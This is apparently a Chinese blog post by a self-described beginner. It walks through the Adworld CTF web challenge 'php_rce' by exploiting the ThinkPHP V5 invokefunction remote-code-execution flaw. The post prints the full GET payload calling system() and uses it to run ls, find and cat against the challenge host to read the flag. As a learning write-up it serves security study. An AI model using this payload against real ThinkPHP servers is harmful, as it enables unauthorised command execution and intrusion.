攻防世界(WEB) php_rce

进入题目页面我可以说是一脸懵逼

 我还点了一下链接啥的,结果都是广告,抓了包看了原码没有发现什么问题,于是就上网看了一下别的关于这道题怎么写的,结果发现,这题目考的是ThinkPHP V5版本的那个时候一个漏洞,我顿时就懵了,作为新手根本就没听过这种东西,于是我长达了两天有空就看看,有了一点点感觉

https://blog.csdn.net/qq_40884727/article/details/101452478这个链接是一位博主对当年的漏洞复现,看了几遍,或许是我代码水平不怎么样,还是没怎么懂,只知道这个漏洞是因为对于控制器没有足够的安全检测,导致可以伪造控制器来调用里面的方法并且传入参数来获得getshell,一些代码的实际意义我现在还是不太懂,准备继续看下去,做题本身就是为了学习,就不在乎这题目做了多久了

知道这个题目要用构造payload来,https://www.cnblogs.com/straybirds/p/9807627.html这是对于payload的讲解是什么。

合理利用下面这个get请求(红色地方使我们要改参数的),具体为什么这么些我懂了再继续记录

?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

对system的解释https://www.php.net/manual/zh/function.system.php,相当于现在就是一个命令行,在vars[1][]后面来输入linux或者windows命令(推荐linux命令,因为方便查找flag);

首先肯定试试最简单的ls命令s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

 

发现出来了东西,说明这个方向猜想是争取的,我们也拿到了shell。现在便使用linux的查找命令

find / -name "flag"(在系统中查找flag的文件),我试过写flag*会出来很多,根据情况来变

查找到了两个文件,有个新知识点就是发现http://111.200.241.244:53206/?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22

我没有输入%20和%22啊,哪来的啊?然后我一查询这是url编码,是一种 浏览器用来打包表单输入的格式,用来替换一些特殊字符 

对着输入的find / -name "flag"可以发现%20是空格的url编码,%22是“的url编码,不过写的时候不用注意,浏览器会帮我们自动转换的

既然发现了有flag文件,我们便使用cat命令打开cat /flag flag(url会转换为cat%20/flag%20flag)来打开flag文件

题目虽然出来了,但是对于Think PHP V5的漏洞还是不太熟悉,还需要多查资料多看代码 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值